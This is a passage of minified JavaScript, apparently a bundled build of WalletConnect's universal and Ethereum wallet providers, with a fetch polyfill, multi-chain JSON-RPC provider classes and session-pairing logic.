t=e.toUpperCase();return v.indexOf(t)>-1?t:e}function _(e,t){var n=(t=t||{}).body;if(e instanceof _){if(e.bodyUsed)throw new TypeError("Already read");this.url=e.url,this.credentials=e.credentials,t.headers||(this.headers=new c(e.headers)),this.method=e.method,this.mode=e.mode,this.signal=e.signal,!n&&null!=e._bodyInit&&(n=e._bodyInit,e.bodyUsed=!0)}else this.url=String(e);if(this.credentials=t.credentials||this.credentials||"same-origin",(t.headers||!this.headers)&&(this.headers=new c(t.headers)),this.method=m(t.method||this.method||"GET"),this.mode=t.mode||this.mode||null,this.signal=t.signal||this.signal,this.referrer=null,("GET"===this.method||"HEAD"===this.method)&&n)throw new TypeError("Body not allowed for GET or HEAD requests");this._initBody(n)}function b(e){var t=new FormData;return e.trim().split("&").forEach((function(e){if(e){var n=e.split("="),r=n.shift().replace(/\+/g," "),i=n.join("=").replace(/\+/g," ");t.append(decodeURIComponent(r),decodeURIComponent(i))}})),t}function w(e){var t=new c;return e.replace(/\r?\n[\t ]+/g," ").split(/\r?\n/).forEach((function(e){var n=e.split(":"),r=n.shift().trim();if(r){var i=n.join(":").trim();t.append(r,i)}})),t}function E(e,t){t||(t={}),this.type="default",this.status=void 0===t.status?200:t.status,this.ok=this.status>=200&&this.status<300,this.statusText="statusText"in t?t.statusText:"OK",this.headers=new c(t.headers),this.url=t.url||"",this._initBody(e)}_.prototype.clone=function(){return new _(this,{body:this._bodyInit})},y.call(_.prototype),y.call(E.prototype),E.prototype.clone=function(){return new E(this._bodyInit,{status:this.status,statusText:this.statusText,headers:new c(this.headers),url:this.url})},E.error=function(){var e=new E(null,{status:0,statusText:""});return e.type="error",e};var S=[301,302,303,307,308];E.redirect=function(e,t){if(-1===S.indexOf(t))throw new RangeError("Invalid status code");return new E(null,{status:t,headers:{location:e}})},e.DOMException=r.DOMException;try{new e.DOMException}catch{e.DOMException=function(e,t){this.message=e,this.name=t;var n=Error(e);this.stack=n.stack},e.DOMException.prototype=Object.create(Error.prototype),e.DOMException.prototype.constructor=e.DOMException}function O(n,r){return new Promise((function(i,o){var s=new _(n,r);if(s.signal&&s.signal.aborted)return o(new e.DOMException("Aborted","AbortError"));var a=new XMLHttpRequest;function u(){a.abort()}a.onload=function(){var e={status:a.status,statusText:a.statusText,headers:w(a.getAllResponseHeaders()||"")};e.url="responseURL"in a?a.responseURL:e.headers.get("X-Request-URL");var t="response"in a?a.response:a.responseText;i(new E(t,e))},a.onerror=function(){o(new TypeError("Network request failed"))},a.ontimeout=function(){o(new TypeError("Network request failed"))},a.onabort=function(){o(new e.DOMException("Aborted","AbortError"))},a.open(s.method,s.url,!0),"include"===s.credentials?a.withCredentials=!0:"omit"===s.credentials&&(a.withCredentials=!1),"responseType"in a&&t.blob&&(a.responseType="blob"),s.headers.forEach((function(e,t){a.setRequestHeader(t,e)})),s.signal&&(s.signal.addEventListener("abort",u),a.onreadystatechange=function(){4===a.readyState&&s.signal.removeEventListener("abort",u)}),a.send(typeof s._bodyInit>"u"?null:s._bodyInit)}))}O.polyfill=!0,r.fetch||(r.fetch=O,r.Headers=c,r.Request=_,r.Response=E),e.Headers=c,e.Request=_,e.Response=E,e.fetch=O,Object.defineProperty(e,"__esModule",{value:!0})}({}),o.fetch.ponyfill=!0,delete o.fetch.polyfill;var s=o;(n=s.fetch).default=s.fetch,n.fetch=s.fetch,n.Headers=s.Headers,n.Request=s.Request,n.Response=s.Response,e.exports=n}(Bg,Bg.exports);var Hg=n(Bg.exports);const qg={headers:{Accept:"application/json","Content-Type":"application/json"},method:"POST"},Vg=10;class $g{constructor(e,t=!1){if(this.url=e,this.disableProviderPing=t,this.events=new o.exports.EventEmitter,this.isAvailable=!1,this.registering=!1,!Jl(e))throw new Error(`Provided URL is not compatible with HTTP connection: ${e}`);this.url=e,this.disableProviderPing=t}get connected(){return this.isAvailable}get connecting(){return this.registering}on(e,t){this.events.on(e,t)}once(e,t){this.events.once(e,t)}off(e,t){this.events.off(e,t)}removeListener(e,t){this.events.removeListener(e,t)}async open(e=this.url){await this.register(e)}async close(){if(!this.isAvailable)throw new Error("Connection already closed");this.onClose()}async send(e,t){this.isAvailable||await this.register();try{const t=sr(e),n=await(await Hg(this.url,Object.assign(Object.assign({},qg),{body:t}))).json();this.onPayload({data:n})}catch(t){this.onError(e.id,t)}}async register(e=this.url){if(!Jl(e))throw new Error(`Provided URL is not compatible with HTTP connection: ${e}`);if(this.registering){const e=this.events.getMaxListeners();return(this.events.listenerCount("register_error")>=e||this.events.listenerCount("open")>=e)&&this.events.setMaxListeners(e+1),new Promise(((e,t)=>{this.events.once("register_error",(e=>{this.resetMaxListeners(),t(e)})),this.events.once("open",(()=>{if(this.resetMaxListeners(),typeof this.isAvailable>"u")return t(new Error("HTTP connection is missing or invalid"));e()}))}))}this.url=e,this.registering=!0;try{if(!this.disableProviderPing){const t=sr({id:1,jsonrpc:"2.0",method:"test",params:[]});await Hg(e,Object.assign(Object.assign({},qg),{body:t}))}this.onOpen()}catch(e){const t=this.parseError(e);throw this.events.emit("register_error",t),this.onClose(),t}}onOpen(){this.isAvailable=!0,this.registering=!1,this.events.emit("open")}onClose(){this.isAvailable=!1,this.registering=!1,this.events.emit("close")}onPayload(e){if(typeof e.data>"u")return;const t="string"==typeof e.data?or(e.data):e.data;this.events.emit("payload",t)}onError(e,t){const n=this.parseError(t),r=Hl(e,n.message||n.toString());this.events.emit("payload",r)}parseError(e,t=this.url){return ol(e,t,"HTTP")}resetMaxListeners(){this.events.getMaxListeners()>Vg&&this.events.setMaxListeners(Vg)}}class Wg{constructor(e){this.name="polkadot",this.namespace=e.namespace,this.events=zg("events"),this.client=zg("client"),this.chainId=this.getDefaultChain(),this.httpProviders=this.createHttpProviders()}updateNamespace(e){this.namespace=Object.assign(this.namespace,e)}requestAccounts(){return this.getAccounts()}getDefaultChain(){if(this.chainId)return this.chainId;if(this.namespace.defaultChain)return this.namespace.defaultChain;const e=this.namespace.chains[0];if(!e)throw new Error("ChainId not found");return e.split(":")[1]}request(e){return this.namespace.methods.includes(e.request.method)?this.client.request(e):this.getHttpProvider().request(e.request)}setDefaultChain(e,t){if(this.chainId=e,!this.httpProviders[e]){const n=t||Pg(`${this.name}:${e}`,this.namespace);if(!n)throw new Error(`No RPC url provided for chainId: ${e}`);this.setHttpProvider(e,n)}this.events.emit(vg.DEFAULT_CHAIN_CHANGED,`${this.name}:${this.chainId}`)}getAccounts(){const e=this.namespace.accounts;return e&&e.filter((e=>e.split(":")[1]===this.chainId.toString())).map((e=>e.split(":")[2]))||[]}createHttpProviders(){const e={};return this.namespace.chains.forEach((t=>{var n;e[t]=this.createHttpProvider(t,null==(n=this.namespace.rpcMap)?void 0:n[t])})),e}getHttpProvider(){const e=`${this.name}:${this.chainId}`,t=this.httpProviders[e];if(typeof t>"u")throw new Error(`JSON-RPC provider for ${e} not found`);return t}setHttpProvider(e,t){const n=this.createHttpProvider(e,t);n&&(this.httpProviders[e]=n)}createHttpProvider(e,t){const n=t||Pg(e,this.namespace);return typeof n>"u"?void 0:new sf(new $g(n,zg("disableProviderPing")))}}class Kg{constructor(e){this.name="eip155",this.namespace=e.namespace,this.events=zg("events"),this.client=zg("client"),this.httpProviders=this.createHttpProviders(),this.chainId=parseInt(this.getDefaultChain())}async request(e){switch(e.request.method){case"eth_requestAccounts":case"eth_accounts":return this.getAccounts();case"wallet_switchEthereumChain":return await this.handleSwitchChain(e);case"eth_chainId":return parseInt(this.getDefaultChain())}return this.namespace.methods.includes(e.request.method)?await this.client.request(e):this.getHttpProvider().request(e.request)}updateNamespace(e){this.namespace=Object.assign(this.namespace,e)}setDefaultChain(e,t){const n=Ag(e);if(!this.httpProviders[n]){const e=t||Pg(`${this.name}:${n}`,this.namespace,this.client.core.projectId);if(!e)throw new Error(`No RPC url provided for chainId: ${n}`);this.setHttpProvider(n,e)}this.chainId=n,this.events.emit(vg.DEFAULT_CHAIN_CHANGED,`${this.name}:${n}`)}requestAccounts(){return this.getAccounts()}getDefaultChain(){if(this.chainId)return this.chainId.toString();if(this.namespace.defaultChain)return this.namespace.defaultChain;const e=this.namespace.chains[0];if(!e)throw new Error("ChainId not found");return e.split(":")[1]}createHttpProvider(e,t){const n=t||Pg(`${this.name}:${e}`,this.namespace,this.client.core.projectId);return typeof n>"u"?void 0:new sf(new $g(n,zg("disableProviderPing")))}setHttpProvider(e,t){const n=this.createHttpProvider(e,t);n&&(this.httpProviders[e]=n)}createHttpProviders(){const e={};return this.namespace.chains.forEach((t=>{var n;const r=Ag(t);e[r]=this.createHttpProvider(r,null==(n=this.namespace.rpcMap)?void 0:n[t])})),e}getAccounts(){const e=this.namespace.accounts;return e?[...new Set(e.filter((e=>e.split(":")[1]===this.chainId.toString())).map((e=>e.split(":")[2])))]:[]}getHttpProvider(){const e=this.chainId,t=this.httpProviders[e];if(typeof t>"u")throw new Error(`JSON-RPC provider for ${e} not found`);return t}async handleSwitchChain(e){var t,n;let r=e.request.params?null==(t=e.request.params[0])?void 0:t.chainId:"0x0";r=r.startsWith("0x")?r:`0x${r}`;const i=parseInt(r,16);if(this.isChainApproved(i))this.setDefaultChain(`${i}`);else{if(!this.namespace.methods.includes("wallet_switchEthereumChain"))throw new Error(`Failed to switch to chain 'eip155:${i}'. The chain is not approved or the wallet does not support 'wallet_switchEthereumChain' method.`);await this.client.request({topic:e.topic,request:{method:e.request.method,params:[{chainId:r}]},chainId:null==(n=this.namespace.chains)?void 0:n[0]}),this.setDefaultChain(`${i}`)}return null}isChainApproved(e){return this.namespace.chains.includes(`${this.name}:${e}`)}}class Gg{constructor(e){this.name="solana",this.namespace=e.namespace,this.events=zg("events"),this.client=zg("client"),this.chainId=this.getDefaultChain(),this.httpProviders=this.createHttpProviders()}updateNamespace(e){this.namespace=Object.assign(this.namespace,e)}requestAccounts(){return this.getAccounts()}request(e){return this.namespace.methods.includes(e.request.method)?this.client.request(e):this.getHttpProvider().request(e.request)}setDefaultChain(e,t){if(!this.httpProviders[e]){const n=t||Pg(`${this.name}:${e}`,this.namespace,this.client.core.projectId);if(!n)throw new Error(`No RPC url provided for chainId: ${e}`);this.setHttpProvider(e,n)}this.chainId=e,this.events.emit(vg.DEFAULT_CHAIN_CHANGED,`${this.name}:${this.chainId}`)}getDefaultChain(){if(this.chainId)return this.chainId;if(this.namespace.defaultChain)return this.namespace.defaultChain;const e=this.namespace.chains[0];if(!e)throw new Error("ChainId not found");return e.split(":")[1]}getAccounts(){const e=this.namespace.accounts;return e?[...new Set(e.filter((e=>e.split(":")[1]===this.chainId.toString())).map((e=>e.split(":")[2])))]:[]}createHttpProviders(){const e={};return this.namespace.chains.forEach((t=>{var n;e[t]=this.createHttpProvider(t,null==(n=this.namespace.rpcMap)?void 0:n[t])})),e}getHttpProvider(){const e=`${this.name}:${this.chainId}`,t=this.httpProviders[e];if(typeof t>"u")throw new Error(`JSON-RPC provider for ${e} not found`);return t}setHttpProvider(e,t){const n=this.createHttpProvider(e,t);n&&(this.httpProviders[e]=n)}createHttpProvider(e,t){const n=t||Pg(e,this.namespace,this.client.core.projectId);return typeof n>"u"?void 0:new sf(new $g(n,zg("disableProviderPing")))}}class Yg{constructor(e){this.name="cosmos",this.namespace=e.namespace,this.events=zg("events"),this.client=zg("client"),this.chainId=this.getDefaultChain(),this.httpProviders=this.createHttpProviders()}updateNamespace(e){this.namespace=Object.assign(this.namespace,e)}requestAccounts(){return this.getAccounts()}getDefaultChain(){if(this.chainId)return this.chainId;if(this.namespace.defaultChain)return this.namespace.defaultChain;const e=this.namespace.chains[0];if(!e)throw new Error("ChainId not found");return e.split(":")[1]}request(e){return this.namespace.methods.includes(e.request.method)?this.client.request(e):this.getHttpProvider().request(e.request)}setDefaultChain(e,t){if(this.chainId=e,!this.httpProviders[e]){const n=t||Pg(`${this.name}:${e}`,this.namespace,this.client.core.projectId);if(!n)throw new Error(`No RPC url provided for chainId: ${e}`);this.setHttpProvider(e,n)}this.events.emit(vg.DEFAULT_CHAIN_CHANGED,`${this.name}:${this.chainId}`)}getAccounts(){const e=this.namespace.accounts;return e?[...new Set(e.filter((e=>e.split(":")[1]===this.chainId.toString())).map((e=>e.split(":")[2])))]:[]}createHttpProviders(){const e={};return this.namespace.chains.forEach((t=>{var n;e[t]=this.createHttpProvider(t,null==(n=this.namespace.rpcMap)?void 0:n[t])})),e}getHttpProvider(){const e=`${this.name}:${this.chainId}`,t=this.httpProviders[e];if(typeof t>"u")throw new Error(`JSON-RPC provider for ${e} not found`);return t}setHttpProvider(e,t){const n=this.createHttpProvider(e,t);n&&(this.httpProviders[e]=n)}createHttpProvider(e,t){const n=t||Pg(e,this.namespace,this.client.core.projectId);return typeof n>"u"?void 0:new sf(new $g(n,zg("disableProviderPing")))}}class Qg{constructor(e){this.name="cip34",this.namespace=e.namespace,this.events=zg("events"),this.client=zg("client"),this.chainId=this.getDefaultChain(),this.httpProviders=this.createHttpProviders()}updateNamespace(e){this.namespace=Object.assign(this.namespace,e)}requestAccounts(){return this.getAccounts()}getDefaultChain(){if(this.chainId)return this.chainId;if(this.namespace.defaultChain)return this.namespace.defaultChain;const e=this.namespace.chains[0];if(!e)throw new Error("ChainId not found");return e.split(":")[1]}request(e){return this.namespace.methods.includes(e.request.method)?this.client.request(e):this.getHttpProvider().request(e.request)}setDefaultChain(e,t){if(this.chainId=e,!this.httpProviders[e]){const n=t||this.getCardanoRPCUrl(e);if(!n)throw new Error(`No RPC url provided for chainId: ${e}`);this.setHttpProvider(e,n)}this.events.emit(vg.DEFAULT_CHAIN_CHANGED,`${this.name}:${this.chainId}`)}getAccounts(){const e=this.namespace.accounts;return e?[...new Set(e.filter((e=>e.split(":")[1]===this.chainId.toString())).map((e=>e.split(":")[2])))]:[]}createHttpProviders(){const e={};return this.namespace.chains.forEach((t=>{const n=this.getCardanoRPCUrl(t);e[t]=this.createHttpProvider(t,n)})),e}getHttpProvider(){const e=`${this.name}:${this.chainId}`,t=this.httpProviders[e];if(typeof t>"u")throw new Error(`JSON-RPC provider for ${e} not found`);return t}getCardanoRPCUrl(e){const t=this.namespace.rpcMap;if(t)return t[e]}setHttpProvider(e,t){const n=this.createHttpProvider(e,t);n&&(this.httpProviders[e]=n)}createHttpProvider(e,t){const n=t||this.getCardanoRPCUrl(e);return typeof n>"u"?void 0:new sf(new $g(n,zg("disableProviderPing")))}}class Jg{constructor(e){this.name="elrond",this.namespace=e.namespace,this.events=zg("events"),this.client=zg("client"),this.chainId=this.getDefaultChain(),this.httpProviders=this.createHttpProviders()}updateNamespace(e){this.namespace=Object.assign(this.namespace,e)}requestAccounts(){return this.getAccounts()}request(e){return this.namespace.methods.includes(e.request.method)?this.client.request(e):this.getHttpProvider().request(e.request)}setDefaultChain(e,t){if(!this.httpProviders[e]){const n=t||Pg(`${this.name}:${e}`,this.namespace,this.client.core.projectId);if(!n)throw new Error(`No RPC url provided for chainId: ${e}`);this.setHttpProvider(e,n)}this.chainId=e,this.events.emit(vg.DEFAULT_CHAIN_CHANGED,`${this.name}:${this.chainId}`)}getDefaultChain(){if(this.chainId)return this.chainId;if(this.namespace.defaultChain)return this.namespace.defaultChain;const e=this.namespace.chains[0];if(!e)throw new Error("ChainId not found");return e.split(":")[1]}getAccounts(){const e=this.namespace.accounts;return e?[...new Set(e.filter((e=>e.split(":")[1]===this.chainId.toString())).map((e=>e.split(":")[2])))]:[]}createHttpProviders(){const e={};return this.namespace.chains.forEach((t=>{var n;e[t]=this.createHttpProvider(t,null==(n=this.namespace.rpcMap)?void 0:n[t])})),e}getHttpProvider(){const e=`${this.name}:${this.chainId}`,t=this.httpProviders[e];if(typeof t>"u")throw new Error(`JSON-RPC provider for ${e} not found`);return t}setHttpProvider(e,t){const n=this.createHttpProvider(e,t);n&&(this.httpProviders[e]=n)}createHttpProvider(e,t){const n=t||Pg(e,this.namespace,this.client.core.projectId);return typeof n>"u"?void 0:new sf(new $g(n,zg("disableProviderPing")))}}class Xg{constructor(e){this.name="multiversx",this.namespace=e.namespace,this.events=zg("events"),this.client=zg("client"),this.chainId=this.getDefaultChain(),this.httpProviders=this.createHttpProviders()}updateNamespace(e){this.namespace=Object.assign(this.namespace,e)}requestAccounts(){return this.getAccounts()}request(e){return this.namespace.methods.includes(e.request.method)?this.client.request(e):this.getHttpProvider().request(e.request)}setDefaultChain(e,t){if(!this.httpProviders[e]){const n=t||Pg(`${this.name}:${e}`,this.namespace,this.client.core.projectId);if(!n)throw new Error(`No RPC url provided for chainId: ${e}`);this.setHttpProvider(e,n)}this.chainId=e,this.events.emit(vg.DEFAULT_CHAIN_CHANGED,`${this.name}:${this.chainId}`)}getDefaultChain(){if(this.chainId)return this.chainId;if(this.namespace.defaultChain)return this.namespace.defaultChain;const e=this.namespace.chains[0];if(!e)throw new Error("ChainId not found");return e.split(":")[1]}getAccounts(){const e=this.namespace.accounts;return e?[...new Set(e.filter((e=>e.split(":")[1]===this.chainId.toString())).map((e=>e.split(":")[2])))]:[]}createHttpProviders(){const e={};return this.namespace.chains.forEach((t=>{var n;e[t]=this.createHttpProvider(t,null==(n=this.namespace.rpcMap)?void 0:n[t])})),e}getHttpProvider(){const e=`${this.name}:${this.chainId}`,t=this.httpProviders[e];if(typeof t>"u")throw new Error(`JSON-RPC provider for ${e} not found`);return t}setHttpProvider(e,t){const n=this.createHttpProvider(e,t);n&&(this.httpProviders[e]=n)}createHttpProvider(e,t){const n=t||Pg(e,this.namespace,this.client.core.projectId);return typeof n>"u"?void 0:new sf(new $g(n,zg("disableProviderPing")))}}var Zg=Object.defineProperty,ey=Object.defineProperties,ty=Object.getOwnPropertyDescriptors,ny=Object.getOwnPropertySymbols,ry=Object.prototype.hasOwnProperty,iy=Object.prototype.propertyIsEnumerable,oy=(e,t,n)=>t in e?Zg(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,sy=(e,t)=>{for(var n in t||(t={}))ry.call(t,n)&&oy(e,n,t[n]);if(ny)for(var n of ny(t))iy.call(t,n)&&oy(e,n,t[n]);return e},ay=(e,t)=>ey(e,ty(t));class uy{constructor(e){this.events=new o.exports,this.rpcProviders={},this.shouldAbortPairingAttempt=!1,this.maxPairingAttempts=10,this.disableProviderPing=!1,this.providerOpts=e,this.logger=typeof e?.logger<"u"&&"string"!=typeof e?.logger?e.logger:un.pino(un.getDefaultLoggerOptions({level:e?.logger||dg})),this.disableProviderPing=e?.disableProviderPing||!1}static async init(e){const t=new uy(e);return await t.initialize(),t}async request(e,t){const[n,r]=this.validateChain(t);if(!this.session)throw new Error("Please call connect() before request()");return await this.getProvider(n).request({request:sy({},e),chainId:`${n}:${r}`,topic:this.session.topic})}sendAsync(e,t,n){this.request(e,n).then((e=>t(null,e))).catch((e=>t(e,void 0)))}async enable(){if(!this.client)throw new Error("Sign Client not initialized");return this.session||await this.connect({namespaces:this.namespaces,optionalNamespaces:this.optionalNamespaces,sessionProperties:this.sessionProperties}),await this.requestAccounts()}async disconnect(){var e;if(!this.session)throw new Error("Please call connect() before enable()");await this.client.disconnect({topic:null==(e=this.session)?void 0:e.topic,reason:fc("USER_DISCONNECTED")}),await this.cleanup()}async connect(e){if(!this.client)throw new Error("Sign Client not initialized");if(this.setNamespaces(e),await this.cleanupPendingPairings(),!e.skipPairing)return await this.pair(e.pairingTopic)}on(e,t){this.events.on(e,t)}once(e,t){this.events.once(e,t)}removeListener(e,t){this.events.removeListener(e,t)}off(e,t){this.events.off(e,t)}get isWalletConnect(){return!0}async pair(e){this.shouldAbortPairingAttempt=!1;let t=0;do{if(this.shouldAbortPairingAttempt)throw new Error("Pairing aborted");if(t>=this.maxPairingAttempts)throw new Error("Max auto pairing attempts reached");const{uri:n,approval:r}=await this.client.connect({pairingTopic:e,requiredNamespaces:this.namespaces,optionalNamespaces:this.optionalNamespaces,sessionProperties:this.sessionProperties});n&&(this.uri=n,this.events.emit("display_uri",n)),await r().then((e=>{this.session=e,this.namespaces||(this.namespaces=Ug(e.namespaces),this.persist("namespaces",this.namespaces))})).catch((e=>{if(e.message!==Vp)throw e;t++}))}while(!this.session);return this.onConnect(),this.session}setDefaultChain(e,t){try{if(!this.session)return;const[n,r]=this.validateChain(e);this.getProvider(n).setDefaultChain(r,t)}catch(e){if(!/Please call connect/.test(e.message))throw e}}async cleanupPendingPairings(e={}){this.logger.info("Cleaning up inactive pairings...");const t=this.client.pairing.getAll();if(hc(t)){for(const n of t)e.deletePairings?this.client.core.expirer.set(n.topic,0):await this.client.core.relayer.subscriber.unsubscribe(n.topic);this.logger.info(`Inactive pairings cleared: ${t.length}`)}}abortPairingAttempt(){this.shouldAbortPairingAttempt=!0}async checkStorage(){if(this.namespaces=await this.getFromStore("namespaces"),this.optionalNamespaces=await this.getFromStore("optionalNamespaces")||{},this.client.session.length){const e=this.client.session.keys.length-1;this.session=this.client.session.get(this.client.session.keys[e]),this.createProviders()}}async initialize(){this.logger.trace("Initialized"),await this.createClient(),await this.checkStorage(),this.registerEventListeners()}async createClient(){this.client=this.providerOpts.client||await hg.init({logger:this.providerOpts.logger||dg,relayUrl:this.providerOpts.relayUrl||pg,projectId:this.providerOpts.projectId,metadata:this.providerOpts.metadata,storageOptions:this.providerOpts.storageOptions,storage:this.providerOpts.storage,name:this.providerOpts.name}),this.logger.trace("SignClient Initialized")}createProviders(){if(!this.client)throw new Error("Sign Client not initialized");if(!this.session)throw new Error("Session not initialized. Please call connect() before enable()");const e=[...new Set(Object.keys(this.session.namespaces).map((e=>ac(e))))];Fg("client",this.client),Fg("events",this.events),Fg("disableProviderPing",this.disableProviderPing),e.forEach((e=>{if(!this.session)return;const t=Tg(e,this.session),n=Ng(t),r=Mg(this.namespaces,this.optionalNamespaces),i=ay(sy({},r[e]),{accounts:t,chains:n});switch(e){case"eip155":this.rpcProviders[e]=new Kg({namespace:i});break;case"solana":this.rpcProviders[e]=new Gg({namespace:i});break;case"cosmos":this.rpcProviders[e]=new Yg({namespace:i});break;case"polkadot":this.rpcProviders[e]=new Wg({namespace:i});break;case"cip34":this.rpcProviders[e]=new Qg({namespace:i});break;case"elrond":this.rpcProviders[e]=new Jg({namespace:i});break;case"multiversx":this.rpcProviders[e]=new Xg({namespace:i})}}))}registerEventListeners(){if(typeof this.client>"u")throw new Error("Sign Client is not initialized");this.client.on("session_ping",(e=>{this.events.emit("session_ping",e)})),this.client.on("session_event",(e=>{const{params:t}=e,{event:n}=t;if("accountsChanged"===n.name){const e=n.data;e&&hc(e)&&this.events.emit("accountsChanged",e.map(jg))}else"chainChanged"===n.name?this.onChainChanged(t.chainId):this.events.emit(n.name,n.data);this.events.emit("session_event",e)})),this.client.on("session_update",(({topic:e,params:t})=>{var n;const{namespaces:r}=t,i=null==(n=this.client)?void 0:n.session.get(e);this.session=ay(sy({},i),{namespaces:r}),this.onSessionUpdate(),this.events.emit("session_update",{topic:e,params:t})})),this.client.on("session_delete",(async e=>{await this.cleanup(),this.events.emit("session_delete",e),this.events.emit("disconnect",ay(sy({},fc("USER_DISCONNECTED")),{data:e.topic}))})),this.on(vg.DEFAULT_CHAIN_CHANGED,(e=>{this.onChainChanged(e,!0)}))}getProvider(e){if(!this.rpcProviders[e])throw new Error(`Provider not found: ${e}`);return this.rpcProviders[e]}onSessionUpdate(){Object.keys(this.rpcProviders).forEach((e=>{var t;this.getProvider(e).updateNamespace(null==(t=this.session)?void 0:t.namespaces[e])}))}setNamespaces(e){const{namespaces:t,optionalNamespaces:n,sessionProperties:r}=e;t&&Object.keys(t).length&&(this.namespaces=t),n&&Object.keys(n).length&&(this.optionalNamespaces=n),this.sessionProperties=r,this.persist("namespaces",t),this.persist("optionalNamespaces",n)}validateChain(e){const[t,n]=e?.split(":")||["",""];if(!this.namespaces||!Object.keys(this.namespaces).length)return[t,n];if(t&&!Object.keys(this.namespaces||{}).map((e=>ac(e))).includes(t))throw new Error(`Namespace '${t}' is not configured. Please call connect() first with namespace config.`);if(t&&n)return[t,n];const r=ac(Object.keys(this.namespaces)[0]);return[r,this.rpcProviders[r].getDefaultChain()]}async requestAccounts(){const[e]=this.validateChain();return await this.getProvider(e).requestAccounts()}onChainChanged(e,t=!1){var n;if(!this.namespaces)return;const[r,i]=this.validateChain(e);t||this.getProvider(r).setDefaultChain(i),(null!=(n=this.namespaces[r])?n:this.namespaces[`${r}:${i}`]).defaultChain=i,this.persist("namespaces",this.namespaces),this.events.emit("chainChanged",i)}onConnect(){this.createProviders(),this.events.emit("connect",{session:this.session})}async cleanup(){this.session=void 0,this.namespaces=void 0,this.optionalNamespaces=void 0,this.sessionProperties=void 0,this.persist("namespaces",void 0),this.persist("optionalNamespaces",void 0),this.persist("sessionProperties",void 0),await this.cleanupPendingPairings({deletePairings:!0})}persist(e,t){this.client.core.storage.setItem(`${gg}/${e}`,t)}async getFromStore(e){return await this.client.core.storage.getItem(`${gg}/${e}`)}}const cy=uy;e.UniversalProvider=cy,e.default=uy,Object.defineProperty(e,"__esModule",{value:!0})}(t)}(0,Cc.exports);const Pc=["eth_sendTransaction","personal_sign"],Ac=["chainChanged","accountsChanged"];function Nc(e){return Number(e[0].split(":")[1])}function Tc(e){return`0x${e.toString(16)}`}class Mc{constructor(){this.events=new Ys.exports.EventEmitter,this.namespace="eip155",this.accounts=[],this.chainId=1,this.STORAGE_KEY="wc@2:ethereum_provider:",this.on=(e,t)=>(this.events.on(e,t),this),this.once=(e,t)=>(this.events.once(e,t),this),this.removeListener=(e,t)=>(this.events.removeListener(e,t),this),this.off=(e,t)=>(this.events.off(e,t),this),this.parseAccount=e=>this.isCompatibleChainId(e)?this.parseAccountId(e).address:e,this.signer={},this.rpc={}}static init(e){return c(this,void 0,void 0,(function*(){const t=new Mc;return yield t.initialize(e),t}))}request(e){return c(this,void 0,void 0,(function*(){return yield this.signer.request(e,this.formatChainId(this.chainId))}))}sendAsync(e,t){this.signer.sendAsync(e,t,this.formatChainId(this.chainId))}get connected(){return!!this.signer.client&&this.signer.client.core.relayer.connected}get connecting(){return!!this.signer.client&&this.signer.client.core.relayer.connecting}enable(){return c(this,void 0,void 0,(function*(){this.session||(yield this.connect());return yield this.request({method:"eth_requestAccounts"})}))}connect(e){return c(this,void 0,void 0,(function*(){if(!this.signer.client)throw new Error("Provider not initialized. Call init() first");this.loadConnectOpts(e);const{required:t,optional:n}=function(e){const{chains:t,optionalChains:n,methods:r,optionalMethods:i,events:o,optionalEvents:s,rpcMap:a}=e;if(!Ic(t))throw new Error("Invalid chains");const u=t,c=r||Pc,l=o||Ac,f={chains:u,methods:c,events:l,rpcMap:{[Nc(u)]:a[Nc(u)]}},h=null==o?void 0:o.filter((e=>!Ac.includes(e))),d=null==r?void 0:r.filter((e=>!Pc.includes(e)));if(!(n||s||i||(null==h?void 0:h.length)||(null==d?void 0:d.length)))return{required:f};const p=(null==h?void 0:h.length)&&(null==d?void 0:d.length)||!n;return{required:f,optional:{chains:[...new Set(p?u.concat(n||[]):n)],methods:[...new Set(c.concat(i||[]))],events:[...new Set(l.concat(s||[]))],rpcMap:a}}}(this.rpc);try{const r=yield new Promise(((r,i)=>c(this,void 0,void 0,(function*(){yield this.signer.connect(Object.assign(Object.assign({namespaces:{[this.namespace]:t}},n&&{optionalNamespaces:{[this.namespace]:n}}),{pairingTopic:null==e?void 0:e.pairingTopic,skipPairing:!1})).then((e=>{r(e)})).catch((e=>{i(new Error(e.message))}))}))));if(!r)return;this.setChainIds(this.rpc.chains);const i=function(e,t=[]){const n=[];return Object.keys(e).forEach((r=>{if(t.length&&!t.includes(r))return;const i=e[r];n.push(...i.accounts)})),n}(r.namespaces,[this.namespace]);this.setAccounts(i),this.events.emit("connect",{chainId:Tc(this.chainId)})}catch(e){throw this.signer.logger.error(e),e}}))}disconnect(){return c(this,void 0,void 0,(function*(){this.session&&(yield this.signer.disconnect()),this.reset()}))}get isWalletConnect(){return!0}get session(){return this.signer.session}registerEventListeners(){this.signer.on("session_event",(e=>{const{params:t}=e,{event:n}=t;"accountsChanged"===n.name?(this.accounts=this.parseAccounts(n.data),this.events.emit("accountsChanged",this.accounts)):"chainChanged"===n.name?this.setChainId(this.formatChainId(n.data)):this.events.emit(n.name,n.data),this.events.emit("session_event",e)})),this.signer.on("chainChanged",(e=>{const t=parseInt(e);this.chainId=t,this.events.emit("chainChanged",Tc(this.chainId)),this.persist()})),this.signer.on("session_update",(e=>{this.events.emit("session_update",e)})),this.signer.on("session_delete",(e=>{this.reset(),this.events.emit("session_delete",e),this.events.emit("disconnect",Object.assign(Object.assign({},function(e,t){const{message:n,code:r}=xc[e];return{message:t?`${n} ${t}`:n,code:r}}("USER_DISCONNECTED")),{data:e.topic,name:"USER_DISCONNECTED"}))})),this.signer.on("display_uri",(e=>{this.events.emit("display_uri",e)}))}switchEthereumChain(e){this.request({method:"wallet_switchEthereumChain",params:[{chainId:e.toString(16)}]})}isCompatibleChainId(e){return"string"==typeof e&&e.startsWith(`${this.namespace}:`)}formatChainId(e){return`${this.namespace}:${e}`}parseChainId(e){return Number(e.split(":")[1])}setChainIds(e){const t=e.filter((e=>this.isCompatibleChainId(e))),n=t.map((e=>this.parseChainId(e)));n.length&&(this.chainId=n[0],this.events.emit("chainChanged",Tc(this.chainId)),this.persist())}setChainId(e){if(this.isCompatibleChainId(e)){const t=this.parseChainId(e);this.chainId=t,this.switchEthereumChain(t)}}parseAccountId(e){const[t,n,r]=e.split(":");return{chainId:`${t}:${n}`,address:r}}setAccounts(e){this.accounts=e.filter((e=>this.parseChainId(this.parseAccountId(e).chainId)===this.chainId)).map((e=>this.parseAccountId(e).address)),this.events.emit("accountsChanged",this.accounts)}getRpcConfig(e){var t;return{chains:(null===(t=e.chains)||void 0===t?void 